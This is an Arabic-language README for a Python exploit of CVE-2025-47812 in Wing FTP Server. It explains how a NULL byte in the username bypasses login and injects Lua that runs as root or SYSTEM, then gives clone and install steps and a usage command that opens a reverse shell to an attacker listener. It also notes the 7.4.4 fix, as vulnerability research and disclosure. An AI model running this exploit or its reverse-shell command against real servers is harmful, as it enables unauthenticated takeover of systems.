
استغلال لـ CVE-2025-47812 مع شل شبه مخصص ومعالجة أخطاء قوية.
CVE-2025-47812 أدى التحقق غير السليم من الإدخال إلى تنفيذ تعليمات برمجية عن بُعد واختراق كامل للنظام
اكتشف جوليان أهرنس من RCE Security ثغرة أمنية حرجة تؤثر على WingFTP. تُعرف باسم CVE-2025-47812، ولها درجة CVSS تبلغ 10. قد يسمح الاستغلال الناجح للثغرة لمهاجم بعيد غير مصادَق بتنفيذ تعليمات برمجية عشوائية، مما يؤدي إلى اختراق كامل للنظام.
Wing FTP Server هو برنامج خادم FTP آمن وسهل الاستخدام ويعمل عبر المنصات. وهو يدعم بروتوكولات متعددة لنقل الملفات، مثل FTP وFTPS وHTTP وHTTPS وSFTP، مما يوفر مرونة لاتصالات العملاء.
للبحث في CVE-2025-47812، قمت بنشر حاوية Docker تعمل بنظام Wing FTP Server 7.4.3 على مضيف Linux. تم تكوين الحاوية لكشف الواجهة الإلكترونية، وفعّلت تسجيل الدخول المجهول لتسهيل الاختبار غير المصادَق. بالإضافة إلى ذلك، تم إنشاء حساب مستخدم اختباري (dev-test:test) لمحاكاة سيناريوهات المصادقة. وفر هذا الإعداد بيئة آمنة وخاضعة للتحكم لإعادة إنتاج الثغرة والتحقق من سلوك الاستغلال.
معرف CVE: CVE-2025-47812
متجه CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
الدرجة الأساسية: 10.0 (حرجة)
البرنامج المتأثر: <= 7.4.3
الأثر: تنفيذ تعليمات برمجية عن بُعد أدى إلى اختراق كامل للنظام.
المتطلبات الأساسية للاستغلال:
السماح بتسجيل الدخول المجهول أو وجود بيانات اعتماد مستخدم صالحة
لا تتطلب صلاحيات sudo للمستخدم
عندما يحاول المستخدم تسجيل الدخول، يتم استدعاء c_CheckUser الذي يعيد دائمًا OK_CHECK_CONNECTION بغض النظر عما يأتي بعد بايت NULL في اسم المستخدم، طالما أن السلسلة قبل بايت NULL تطابق مستخدمًا موجودًا. يمكن للمهاجم استغلال الثغرة بإضافة بايت NULL وقيم إضافية إلى اسم مستخدم معروف لتجاوز فحص كلمة المرور. يستخدم النظام strlen() على اسم المستخدم للحصول على حجم السلسلة، لكن strlen تحسب فقط جميع الأحرف حتى تصل إلى فاصل بايت NULL لمطابقة اسم المستخدم غير المنقّى.
يتم تخزين اسم المستخدم غير المنقّى (بما في ذلك NULL المحقون والحمولة البرمجية الذكية) مباشرة في ملفات الجلسة ككود Lua. تشبه ملفات الجلسة هذه ملفات .lua ويتم تنفيذها لاحقًا عند تحميل الجلسات. على Linux، يعمل خادم Wing FTP بصلاحيات root؛ وعلى Windows، يعمل بصلاحيات SYSTEM. يتم تنفيذ حمولة Lua المحقونة بصلاحيات كاملة عند إعادة تحميل الجلسة.
ملاحظة: يحدث هذا السلوك فقط إذا لم يتم تعيين كلمة المرور أو باستخدام بيانات اعتماد صالحة. حيث يُفرض بعض التحقق الصارم من كلمة المرور إذا تم تعيينها للمستخدم.
Options:
-t, --target Target Wing FTP Server URL (e.g., http://192.168.1.100)
-u, --username Username to authenticate (default: anonymous)
-p, --password Password to authenticate (default: empty)
-lh, --lhost Local host to listen for reverse shell (default: 127.0.0.1)
-lp, --lport Local port to listen for reverse shell (default: 31337)
-ns, --no-shell To specify the exploit to not span a temp shell. (Note if it set should manually set listener)
-v, --verbose Enable verbose/debug output
-h, --help Show this help message and exit
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - ثغرة RCE بدون مصادقة في خادم Wing FTP
CVE-2025-47812 - ثغرة RCE مع مصادقة في خادم Wing FTP (dev-test:test)
مثال على الاستخدام:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
يجب على المستخدمين الترقية إلى إصدار WingFTP 7.4.4 لتصحيح الثغرة.
يرجى الرجوع إلى ملاحظات إصدار WingFTP لمزيد من المعلومات.
ملاحظة: استخدمت المرجع أعلاه لأغراض البحث وقمت بتحديث الاستغلال بمزيد من الميزات ومعالجة الأخطاء الموثوقة.
تم إصدار إثبات المفهوم (PoC) هذا المكتوب بلغة Python بموجب MIT. يعود مفهوم الاستغلال الأصلي والفضل في الكشف إلى وحدة Stratascale لأبحاث الأمن السيبراني.